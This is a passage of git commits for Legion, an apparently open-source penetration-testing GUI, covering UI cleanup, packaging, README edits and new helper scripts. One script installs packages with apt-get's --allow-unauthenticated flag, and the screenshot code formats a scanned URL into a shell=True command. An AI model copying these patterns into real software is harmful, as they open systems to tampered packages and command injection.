@@ def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() - print(row) self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.updatePortsByServiceTableView(self.viewState.service_clicked) @@ -585,7 +597,6 @@ def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): row = self.ui.ToolsTableView.selectionModel().selectedRows()[len( self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() - print(row) self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) self.updateToolHostsTableView(self.viewState.tool_clicked) # if we clicked on the screenshooter we need to display the screenshot widget @@ -606,7 +617,6 @@ def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len( self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() - print(row) self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) self.updateScriptsOutputView(self.viewState.script_clicked) @@ -620,7 +630,6 @@ def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() - print(row) self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) @@ -697,7 +706,6 @@ def rightTableDoubleClick(self, signal): def tableDoubleClick(self): tab = self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) - print(tab) if tab == 'Services': row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( @@ -1021,11 +1029,52 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): + # Update the data source of the model with the hosts from the database + self.HostsTableModel.setHosts(self.controller.getHostsFromDB(self.viewState.filters)) + + # Set the viewState.lazy_update_hosts to False to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_hosts = False + + ## Resize the OS column of the HostsTableView + #self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) + + # Sort the model by the Host column in descending order + self.HostsTableModel.sort(3, Qt.SortOrder.DescendingOrder) + + # Get the list of IPs from the model + ips = [] # ensure that there is always something selected + for row in range(self.HostsTableModel.rowCount("")): + ips.append(self.HostsTableModel.getHostIPForRow(row)) + + # Check if the IP we previously clicked is still visible + if self.viewState.ip_clicked in ips: + # Get the row for the IP we previously clicked + row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) + else: + # Select the first row + row = 0 + + # Check if the row is not None + if row is not None: + # Select the row in the HostsTableView + self.ui.HostsTableView.selectRow(row) + # Call the hostTableClick() method + self.hostTableClick() + + # Resize the OS column of the HostsTableView + self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) + + # Hide colmns we don't want + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: + self.ui.HostsTableView.hideColumn(i) + + def updateHostsTableViewX(self): headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) + #self.HostsTableModel.setHosts(self.controller.getHostsFromDB(self.viewState.filters)) self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore @@ -1036,6 +1085,9 @@ def updateHostsTableView(self): self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.SortOrder.DescendingOrder) + self.ui.HostsTableView.repaint() + self.ui.HostsTableView.update() + ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) @@ -1374,18 +1426,18 @@ def updateProcessesIcon(self): # TODO: when nmap file is imported select last IP clicked (or first row if none) def updateInterface(self): self.ui_mainwindow.show() - + if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': self.updateHostsTableView() self.viewState.lazy_update_services = True self.viewState.lazy_update_tools = True - - if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': + + elif self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': self.updateServiceNamesTableView() self.viewState.lazy_update_hosts = True self.viewState.lazy_update_tools = True - - if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + + elif self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() self.viewState.lazy_update_hosts = True self.viewState.lazy_update_services = True @@ -1695,10 +1747,10 @@ def findFinishedBruteTab(self, pid): def findFinishedServiceTab(self, pid): for i in range(0, self.ui.ServicesTabWidget.count()): - #if str(self.ui.ServicesTabWidget.widget(i).pid) == pid: - # #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) - print("Close Tab: {0}".format(str(i))) - return + if str(self.ui.ServicesTabWidget.widget(i)) == pid: + self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) + log.info("Close Tab: {0}".format(str(i))) + return def blinkBruteTab(self, bWidget): self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor('red')) diff --git a/utilities/stenoLogging.py b/utilities/stenoLogging.py deleted file mode 100644 index d673a035..00000000 --- a/utilities/stenoLogging.py +++ /dev/null @@ -1,195 +0,0 @@ -import json -import inspect -import time -import logging -import traceback -from functools import wraps -import collections -from logging.handlers import RotatingFileHandler -json.encoder.c_make_encoder = None - -_SUPPORTED_KWARGS = ['data', 'context', 'id'] -_KEY_ORDER = {'time': 0, 'name': 1, 'level': 2, 'data': 3, - 'exception': 4, 'context': 5, 'id': 6} -raiseExceptions = True - -def key_func(k): - return _KEY_ORDER.get(k, 10) - -class StenoFormatter(logging.Formatter): - def __init__(self, fmt=None, datefmt=None): - super(StenoFormatter, self).__init__(fmt, datefmt) - - def formatException(self, ei): - """ - Format and return the specified exception information as a string. - - This default implementation just uses - traceback.print_exception() - """ - exc_type, exc_value, exc_traceback = ei - traceback_formated = [lines.strip() for lines in traceback.format_tb(exc_traceback)] - exc_obj = { - "exception":{ - "type": exc_type.__name__, - "message": exc_value.message, - "traceback": traceback_formated, - "data": {} - }} - return exc_obj - - def format(self, record): - record.message = record.getMessage() - if self.usesTime(): - record.asctime = self.formatTime(record, self.datefmt) - json_log = { - 'name': record.message, - 'level': record.levelname, - 'time': self.formatTime(record, self.datefmt), - 'data': { - 'logger_name': record.name, - }, - 'context': { - 'module': record.__dict__.get('module'), - 'filename': record.__dict__.get('filename'), - 'line': record.lineno - }} - # Add supported attribute - for k, val in record.__dict__.items(): - if k in _SUPPORTED_KWARGS: - if k == 'id': - json_log[k] = val - else: - json_log[k].update(val) - - #print record.__dict__ - # Handle Exception - if record.exc_info: - exc_obj = self.formatException(record.exc_info) - json_log.update(exc_obj) - - # Set log output key order - ordered_json_log = collections.OrderedDict( - sorted(json_log.items(), key=lambda t: key_func(t[0]))) - jsons_log = json.dumps(ordered_json_log) - return jsons_log - -class StenoLogger(logging.Logger): - def __init__(self, name, level=logging.NOTSET, raiseExceptions=raiseExceptions): - super(StenoLogger, self).__init__(name, level) - - def _parse_extra(self, kwargs): - extra={k: val for k, val in kwargs.items() if k in _SUPPORTED_KWARGS} - kwargs={k: val for k, val in kwargs.items() if k not in _SUPPORTED_KWARGS} - kwargs.update({'extra': extra}) - return kwargs - - def debug(self, msg, *args, **kwargs): - if self.isEnabledFor(logging.DEBUG): - self._log(logging.DEBUG, msg, args, **self._parse_extra(kwargs)) - - def info(self, msg, *args, **kwargs): - if self.isEnabledFor(logging.INFO): - self._log(logging.INFO, msg, args, **self._parse_extra(kwargs)) - - def warning(self, msg, *args, **kwargs): - if self.isEnabledFor(logging.WARNING): - self._log(logging.WARNING, msg, args, **self._parse_extra(kwargs)) - - def error(self, msg, *args, **kwargs): - if self.isEnabledFor(logging.ERROR): - self._log(logging.ERROR, msg, args, **self._parse_extra(kwargs)) - - def critical(self, msg, *args, **kwargs): - if self.isEnabledFor(logging.CRITICAL): - self._log(logging.CRITICAL, msg, args, **self._parse_extra(kwargs)) - - def log(self, level, msg, *args, **kwargs): - if not isinstance(level, int): - if self.raiseExceptions: - raise TypeError("level must be an integer") - else: - return - if self.isEnabledFor(level): - self._log(level, msg, args, **self._parse_extra(kwargs)) - -def get_logger(name, path=None, console=True): - logging.setLoggerClass(StenoLogger) - logger = logging.getLogger(name) - if console == True: - shdlr = logging.StreamHandler() - shdlr.setFormatter(StenoFormatter()) - logger.addHandler(shdlr) - if path: - fhdlr = RotatingFileHandler(path) - fhdlr.setFormatter(StenoFormatter()) - logger.addHandler(fhdlr) - return logger - -def extractParams(f, args, kwargs, matchParam): - """Find the value of a parameter by name, even if it was passed via *args or is a default value. - """ - if matchParam in kwargs: - return kwargs[matchParam] - else: - #argspec = inspect.getargspec(f) - argspec = inspect.getfullargspec(f) - if matchParam in argspec.args: - pIndex = argspec.args.index(matchParam) - if len(args) > pIndex: - return args[pIndex] - if argspec.defaults != None: - dIndex = pIndex - len(argspec.args) + len(argspec.defaults) - if 0 <= defaults_index < len(argspec.defaults): - return argspec.defaults[dIndex] - raise LoggerBadCallerParametersException( - "Caller didn't provide a required positional parameter '%s' at index %d", matchParam, pIndex) - else: - raise LoggerUnknownParamException("Unknown param %s(%r) on %s", type(matchParam), matchParam, f.__name__) - -class LoggerUnknownParamException(Exception): - pass - -class LoggerBadCallerParametersException(Exception): - pass - -def logEventDecorator(evt, evtSev='info', evtSevIssue='critical', logger=None, objIdAttr=None, objIdParam=None): - """Decorator to send events to the event log - You must pass in the event name, and may pass in some method of - obtaining an objectid from the decorated function's parameters or - return value. - objIdAttr: The name of an attr on the return value, to be - extracted via getattr(). - objIdParam: A string, specifies the name of the (kw)arg that - should be the objectid. - """ - def wrap(f): - @wraps(f) - def decorator(*args, **kwargs): - evtSevDict = {'info':20, 'critical':50} - timeStart = time.time() - try: - value = f(*args, **kwargs) - except Exception as e: - exceptionEvt = "There was an exception in " - exceptionEvt += f.__name__ - exceptionEvt += str(e) - logger.log(evtSevDict[evtSevIssue], exceptionEvt) - raise - timeEnd = time.time() - execTime = timeEnd - timeStart - evtSevObj = evtSevDict[evtSev] - if objIdAttr != None: - evtObjIds = getattr(value, objIdAttr) - elif objIdParam != None: - evtObjIds = extractParams(f, args, kwargs, objIdParam) - else: - evtObjIds = None - eventToLog = "event: {evt}, input parameter values: {evtObjIds}, " + \ - "result values: {value}, exec time: {execTime}s".\ - format(evt=evt, evtObjIds=evtObjIds, value=value, execTime=execTime) - logger.log(evtSevObj, eventToLog) - return value - return decorator - return wrap - From 2439acb6f625f0f5953fbc1a4d0cd83fac982052 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 9 Nov 2023 19:05:48 -0600 Subject: [PATCH 441/450] Update debian build bits --- debian/changelog | 14 +++++++++++--- debian/control | 9 ++++----- debian/watch | 2 +- 3 files changed, 16 insertions(+), 9 deletions(-) diff --git a/debian/changelog b/debian/changelog index 7530497c..ef30101f 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,5 +1,13 @@ -legion (0.3.5-0) UNRELEASED; urgency=medium +legion (0.4.0-0) UNRELEASED; urgency=medium - * Initial release. (Closes: #XXXXXX) + * Refactored to Python 3.8+ + * Refactored to PyQt 6 + * Database calls migrated to sessions (dramatically improves performance, reliability and huge memory reductions) + * Refactored Logging + * General cleanup + * Screenshot tool revised to use PhantomJs webdriver (other webdrivers coming soon) + * Simplify startup scripts, dependancy installations scripts, etc + * Eliminate support for distributions other than Kali 2022 and later or Ubuntu 20.04 or later + * Improved WSL support (handling of path conversions for calling the Windows NMAP installation from the program) - -- Shane Scott Mon, 04 Mar 2019 20:02:55 -0600 + -- Shane Scott Thur, 09 Nov 2023 19:04:55 -0600 diff --git a/debian/control b/debian/control index be346c66..22ebe24c 100644 --- a/debian/control +++ b/debian/control @@ -1,17 +1,16 @@ Source: legion Section: misc Priority: optional -Maintainer: GoVanguard -Uploaders: Shane Scott -Build-Depends: debhelper, python3, python3-pyqt5, python3-requests -Standards-Version: 4.3.0 +Maintainer: GoVanguard +Uploaders: Shane Scott +Build-Depends: debhelper, python3, python3-requests +Standards-Version: 0.4.0 Homepage: https://github.com/GoVanguard/Legion Package: legion Architecture: all Depends: ${misc:Depends}, python3, - python3-pyqt5, nmap, finger, hydra, diff --git a/debian/watch b/debian/watch index dfd6aac5..10778283 100644 --- a/debian/watch +++ b/debian/watch @@ -1,3 +1,3 @@ -version=3.5.0 +version=0.4.0 opts="filenamemangle=s/.*\/v(\d.*).tar.gz/legion-$1.tar.gz/" \ https://github.com/GoVanguard/Legion/releases .*/v(\d.*)\.tar\.gz From f88c6dc5cf39ba7e721417413eddeaf0f3e5335f Mon Sep 17 00:00:00 2001 From: "S. Scott" Date: Thu, 9 Nov 2023 19:08:22 -0600 Subject: [PATCH 442/450] Update README.md --- README.md | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 4bb1bca4..ff72ae02 100644 --- a/README.md +++ b/README.md @@ -46,8 +46,8 @@ Reboot ### Notable changes from Sparta -* Refactored from Python 2.7 to Python 3.6 and the elimination of deprecated and unmaintained libraries. -* Upgraded to PyQT5, increased responsiveness, less buggy, more intuitive GUI that includes features like: +* Refactored from Python 2.7 to Python 3.8+ and the elimination of deprecated and unmaintained libraries. +* Upgraded to PyQT6, increased responsiveness, less buggy, more intuitive GUI that includes features like: * Task completion estimates * 1-Click scan lists of ips, hostnames and CIDR subnets * Ability to purge results, rescan hosts and delete hosts @@ -65,10 +65,8 @@ Reboot RunIt script (`docker/runIt.sh`) supports: -- Ubuntu 18 -- Fedora 30 -- ParrotOS -- Kali Linux +- Ubuntu 20.04+ +- Kali 2022+ It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops to jump through to get a docker app to be able to connect to the X server. Everyone is welcome to try to figure those From cc87e77c4f117b169c03a9e620136dc7a0bd4755 Mon Sep 17 00:00:00 2001 From: "S. Scott" Date: Fri, 10 Nov 2023 08:31:10 -0600 Subject: [PATCH 443/450] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ff72ae02..9221784d 100644 --- a/README.md +++ b/README.md @@ -74,9 +74,10 @@ hoops out and create a PR for runIt. ### Traditional installation support -We can only promise correct operation on **Ubuntu 18** using the traditional installation at this time. While it should +We can only promise correct operation on **Ubuntu 20.04** using the traditional installation at this time. While it should work on ParrotOS, Kali, and others, until we have Legion packaged and placed into the repos for each of these distros, -it is musical chairs in regard to platform updates changing and breaking dependencies. +it is musical chairs in regard to platform updates changing and breaking dependencies. Native a native package exists and is +included by default on Kali. ## 💻 Installation From a60070da2508d464e8e0821e737efcb9746e82f5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 13 Nov 2023 10:55:46 -0600 Subject: [PATCH 444/450] Minor fixes for last update --- CHANGELOG.txt | 5 +++++ app/ApplicationInfo.py | 6 +++--- debian/changelog | 7 ++++++ debian/control | 2 +- deps/checkXserver.sh | 49 ++++++++++++++++++++++++++++++++++++++++++ deps/detectPython.sh | 8 +++++++ requirements.txt | 2 ++ startLegion.sh | 3 +++ 8 files changed, 78 insertions(+), 4 deletions(-) create mode 100755 deps/checkXserver.sh diff --git a/CHANGELOG.txt b/CHANGELOG.txt index ddbf7d0b..91acc6bd 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,8 @@ +LEGION 0.4.1 + +* Add checkXserver.sh to help users troubleshoot connections to X +* Fix a few missing dependancies + LEGION 0.4.0 * Refactored to Python 3.8+ diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 3dbeb20a..137d3227 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,13 +18,13 @@ applicationInfo = { "name": "LEGION", - "version": "0.4.0", - "build": '1699577982', + "version": "0.4.1", + "build": '1699894526', "author": "Gotham Security", "copyright": "2023", "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], "emails": [], - "update": '11/09/2023', + "update": '11/13/2023', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/debian/changelog b/debian/changelog index ef30101f..9f271751 100644 --- a/debian/changelog +++ b/debian/changelog @@ -11,3 +11,10 @@ legion (0.4.0-0) UNRELEASED; urgency=medium * Improved WSL support (handling of path conversions for calling the Windows NMAP installation from the program) -- Shane Scott Thur, 09 Nov 2023 19:04:55 -0600 + +legion (0.4.1-0) UNRELEASED; urgency=medium + + * Add checkXserver.sh to help users troubleshoot connections to X + * Fix a few missing dependancies + + -- Shane Scott Thur, 13 Nov 2023 10:54:55 -0600 diff --git a/debian/control b/debian/control index 22ebe24c..0f2a0018 100644 --- a/debian/control +++ b/debian/control @@ -4,7 +4,7 @@ Priority: optional Maintainer: GoVanguard Uploaders: Shane Scott Build-Depends: debhelper, python3, python3-requests -Standards-Version: 0.4.0 +Standards-Version: 0.4.1 Homepage: https://github.com/GoVanguard/Legion Package: legion diff --git a/deps/checkXserver.sh b/deps/checkXserver.sh new file mode 100755 index 00000000..98cbb2e2 --- /dev/null +++ b/deps/checkXserver.sh @@ -0,0 +1,49 @@ +#!/bin/bash + +checkWsl() { +# Check if WSL is in use +if grep -q Microsoft /proc/version; then + if grep -q Microsoft-standard /proc/version; then + ip addr show eth0 | grep -q "172\. " + if [ $? -eq 0 ]; then + echo "WSL 2 detected. You are using a bridged network configuration." + echo "Verify your network configuration and %userprofile%\\.wslconfig." + echo "Make sure XMing is running. Check the XMing long." + echo "When you start XMing, make sure access control is turned off unless you've setup a cookie." + echo "Ultimately the Xorg port cannot be reached or being rejected." + exit 1 + else + echo "WSL 2 detected. You are using a NAT-only network configuration." + echo "You cannot reach Xming on the Windows desktop easily this way. Please switch to a bridged network configuration." + echo "See https://learn.microsoft.com/en-us/windows/wsl/wsl-config and https://blog.alexbal.com/2022/01/26/12/." + echo "Ultimately the Xorg port cannot be reached or being rejected." + exit 1 + fi + else + echo "WSL 1 detected. Verify your network configuration and /etc/wsl.conf." + echo "Make sure XMing is running. Check the XMing long." + echo "When you start XMing, make sure access control is turned off unless you've setup a cookie." + echo "Ultimately the Xorg port cannot be reached or being rejected." + exit 1 + fi +fi +} + +# Check if DISPLAY variable is set +if [ -z "$DISPLAY" ]; then + echo "DISPLAY variable is not set. Please export the DISPLAY variable and try again." + exit 1 +fi + +# Extract the host and port from the DISPLAY variable +xorgHost=$(echo $DISPLAY | sed 's/:.*//') + +# Check if the Xorg port is open +nc -zv $xorgHost 6000 &> /dev/null +if [ $? -ne 0 ]; then + echo "Cannot reach the X server at $xorgHost:6000. Please check your X server configuration and verify your DISPLAY variable has been exported correctly." + checkWsl + exit 1 +fi + +echo "X server is reachable. You're good to go!" diff --git a/deps/detectPython.sh b/deps/detectPython.sh index 4b7eeb90..15b75128 100755 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -1,5 +1,13 @@ #!/bin/bash +echo "Checking Apt..." +# runAptGetUpdate +apt-get update -m + +echo "Installing bcs..." +export DEBIAN_FRONTEND="noninteractive" +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install bc + # Check if python or python3 is installed if command -v python &> /dev/null || command -v python3 &> /dev/null then diff --git a/requirements.txt b/requirements.txt index 1c9a7e85..bfae5ff7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -12,3 +12,5 @@ pyShodan GitPython pandas flake8 +rich +selenium diff --git a/startLegion.sh b/startLegion.sh index f8c494ce..0ac0de11 100755 --- a/startLegion.sh +++ b/startLegion.sh @@ -50,6 +50,9 @@ fi export QT_XCB_NATIVE_PAINTING=0 export QT_AUTO_SCREEN_SCALE_FACTOR=1.5 +# Verify X can be reached +source /deps/checkXserver.sh + if [[ $1 != 'setup' ]] then /usr/bin/env python3 legion.py From e27480ca296020ebc70df5e2e97ceeddbcd4af31 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 13 Nov 2023 10:58:19 -0600 Subject: [PATCH 445/450] Spelling --- CHANGELOG.txt | 2 +- debian/changelog | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 91acc6bd..943f4ba2 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,7 +1,7 @@ LEGION 0.4.1 * Add checkXserver.sh to help users troubleshoot connections to X -* Fix a few missing dependancies +* Fix a few missing dependencies LEGION 0.4.0 diff --git a/debian/changelog b/debian/changelog index 9f271751..61e3d660 100644 --- a/debian/changelog +++ b/debian/changelog @@ -15,6 +15,6 @@ legion (0.4.0-0) UNRELEASED; urgency=medium legion (0.4.1-0) UNRELEASED; urgency=medium * Add checkXserver.sh to help users troubleshoot connections to X - * Fix a few missing dependancies + * Fix a few missing dependencies -- Shane Scott Thur, 13 Nov 2023 10:54:55 -0600 From df4f0d74d2715743c8705119f2399e2c39617a62 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 20 Nov 2023 12:52:16 -0600 Subject: [PATCH 446/450] Updates, cleanup, fixes --- CHANGELOG.txt | 12 ++++++++ app/ApplicationInfo.py | 6 ++-- app/Screenshooter.py | 52 +++++++++++++++++++++++++---------- app/auxiliary.py | 14 ++++++---- app/importers/NmapImporter.py | 28 ++++++------------- app/logging/legionLog.py | 4 +-- controller/controller.py | 30 ++++++++++++++------ debian/changelog | 14 ++++++++++ debian/control | 2 +- deps/installDeps.sh | 4 +-- legion.py | 11 ++------ requirements.txt | 3 +- startLegion.sh | 2 +- ui/settingsDialog.py | 2 +- ui/view.py | 3 +- 15 files changed, 118 insertions(+), 69 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 943f4ba2..48fdd59c 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,15 @@ +LEGION 0.4.2 + +* Tweak the screenshooter to use eyewitness as suggested by daniruiz +* Add a Wsl check before running unixPath2Win +* Include Revision by daniruiz to tempPath creation routine +* Revise to monospaced font to improve readability as suggested by daniruiz +* Revise dependancies to resolve missing PhantomJs import +* Set log level to Info +* Eliminate some temporary code, debug lines, and other cleanup +* Revise screenshooter to use schema://ip:port when url is a single node +* Fix typo in startLegion.sh + LEGION 0.4.1 * Add checkXserver.sh to help users troubleshoot connections to X diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 137d3227..e2092258 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,13 +18,13 @@ applicationInfo = { "name": "LEGION", - "version": "0.4.1", - "build": '1699894526', + "version": "0.4.2", + "build": '1700506312', "author": "Gotham Security", "copyright": "2023", "links": ["http://github.com/GoVanguard/legion/issues", "https://gotham-security.com/legion"], "emails": [], - "update": '11/13/2023', + "update": '11/20/2023', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/app/Screenshooter.py b/app/Screenshooter.py index e2a76263..b2a25e70 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -14,15 +14,17 @@ If not, see . """ +import os + import warnings warnings.filterwarnings("ignore", category=UserWarning) -from selenium import webdriver from PyQt6 import QtCore from app.logging.legionLog import getAppLogger from app.http.isHttps import isHttps from app.timing import getTimestamp +from app.auxiliary import isKali logger = getAppLogger() @@ -59,15 +61,8 @@ def run(self): ip = queueItem[0] port = queueItem[1] url = queueItem[2] - self.tsLog("------> %s" % str(url)) outputfile = getTimestamp() + '-screenshot-' + url.replace(':', '-') + '.png' - #ip = url.split(':')[0] - #port = url.split(':')[1] - - if isHttps(ip, port): - self.save("https://" + url, ip, port, outputfile) - else: - self.save("http://" + url, ip, port, outputfile) + self.save(url, ip, port, outputfile) except Exception as e: self.tsLog('Unable to take the screenshot. Error follows.') @@ -80,10 +75,37 @@ def run(self): self.run() def save(self, url, ip, port, outputfile): - self.tsLog('Saving screenshot as: ' + str(outputfile)) - driver = webdriver.PhantomJS(executable_path="/usr/bin/phantomjs") - driver.set_window_size(1280, 1024) - driver.get(url) - driver.save_screenshot("{0}/{1}".format(self.outputfolder, outputfile)) - driver.quit() + # Handle single node URI case by pivot to IP + if len(str(url).split('.')) == 1: + url = '{0}:{1}'.format(str(ip), str(port)) + + if isHttps(ip, port): + url = 'https://{0}'.format(url) + else: + url = 'http://{0}'.format(url) + + self.tsLog('Taking Screenshot of: {0}'.format(str(url))) + + # Use eyewitness under Kali. Use webdriver is not Kali. Once eyewitness is more boradly available, the conter case can be eliminated. + if isKali(): + import tempfile + import subprocess + + tmpOutputfolder = tempfile.mkdtemp(dir=self.outputfolder) + command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/eyewitness --single "{url}/"' + ' --no-prompt -d "{outputfolder}"') \ + .format(url=url, outputfolder=tmpOutputfolder) + p = subprocess.Popen(command, shell=True) + p.wait() # wait for command to finish + fileName = os.listdir(tmpOutputfolder + '/screens/')[0] + outputfile = tmpOutputfolder.removeprefix(self.outputfolder) + '/screens/' + fileName + else: + from selenium import webdriver + + driver = webdriver.PhantomJS(executable_path='/usr/bin/phantomjs') + driver.set_window_size(1280, 1024) + driver.get(url) + driver.save_screenshot('{0}/{1}'.format(self.outputfolder, outputfile)) + driver.quit() + self.tsLog('Saving screenshot as: {0}'.format(str(outputfile))) self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB diff --git a/app/auxiliary.py b/app/auxiliary.py index 7ecc7cc4..6ddc5671 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -37,7 +37,6 @@ def winPath2Unix(windowsPath): windowsPath = windowsPath.replace("C:", "/mnt/c") return windowsPath - # Convert Posix path to Windows def unixPath2Win(posixPath): posixPath = posixPath.replace("/", "\\") @@ -49,12 +48,17 @@ def isWsl(): release = str(platform.uname().release).lower() return "microsoft" in release +# Check if running in Kali +def isKali(): + release = str(platform.uname().release).lower() + return "kali" in release + # Get the AppData Temp directory path if WSL def getAppdataTemp(): try: username = os.environ["WSL_USER_NAME"] except KeyError: - raise Exception("WSL detected but environment variable 'WSL_USER_NAME' is unset.") + raise Exception("WSL detected but environment variable 'WSL_USER_NAME' is unset. Please run 'export WSL_USER_NAME=' followed by your username as it appears in c:\\Users\\") appDataTemp = "C:\\Users\\{0}\\AppData\\Local\\Temp".format(username) appDataTempUnix = winPath2Unix(appDataTemp) @@ -74,9 +78,9 @@ def getTempFolder(): os.makedirs(tempPath) log.info("WSL is detected. The AppData Temp directory path is {0} ({1})".format(tempPath, tempPathWin)) else: - tempPath = "~/.local/share/legion/tmp" - if not os.path.isdir(os.path.expanduser(tempPath)): - os.makedirs(os.path.expanduser(tempPath)) + tempPath = os.path.expanduser("~/.local/share/legion/tmp") + if not os.path.isdir(tempPath): + os.makedirs(tempPath) log.info("Non-WSL The AppData Temp directory path is {0}".format(tempPath)) return tempPath diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index abf984cc..9039c7e6 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -153,13 +153,13 @@ def run(self): s = p.getService() if not (s is None): # check if service already exists to avoid adding duplicates - print("Processing service result *********** name={0} prod={1} ver={2} extra={3} fing={4}" + self.tsLog(" Processing service result *********** name={0} prod={1} ver={2} extra={3} fing={4}" .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = session.query(serviceObj).filter_by(hostId=db_host.id) \ .filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version) \ .filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: - print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}" + self.tsLog(" Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}" .format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = serviceObj(s.name, db_host.id, s.product, s.version, s.extrainfo, s.fingerprint) @@ -171,34 +171,30 @@ def run(self): .filter_by(protocol=p.protocol).first() if not db_port: - # print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) + self.tsLog(" Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) if db_service: db_port = portObj(p.portId, p.protocol, p.state, db_host.id, db_service.id) else: db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) - # else: - # print('FOUND port *************** portid={0}'.format(db_port.portId)) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress self.updateProgressObservable.updateProgress(totalprogress) session.commit() - # totalprogress += progress - # self.tick.emit(int(totalprogress)) - for h in allHosts: # create all script objects that need to be created db_host = self.hostRepository.getHostInformation(h.ip) for p in h.all_ports(): for scr in p.getScripts(): self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) - print(" Processing script obj {scr}".format(scr=str(scr))) db_port = session.query(portObj).filter_by(hostId=db_host.id) \ .filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() - #db_script = 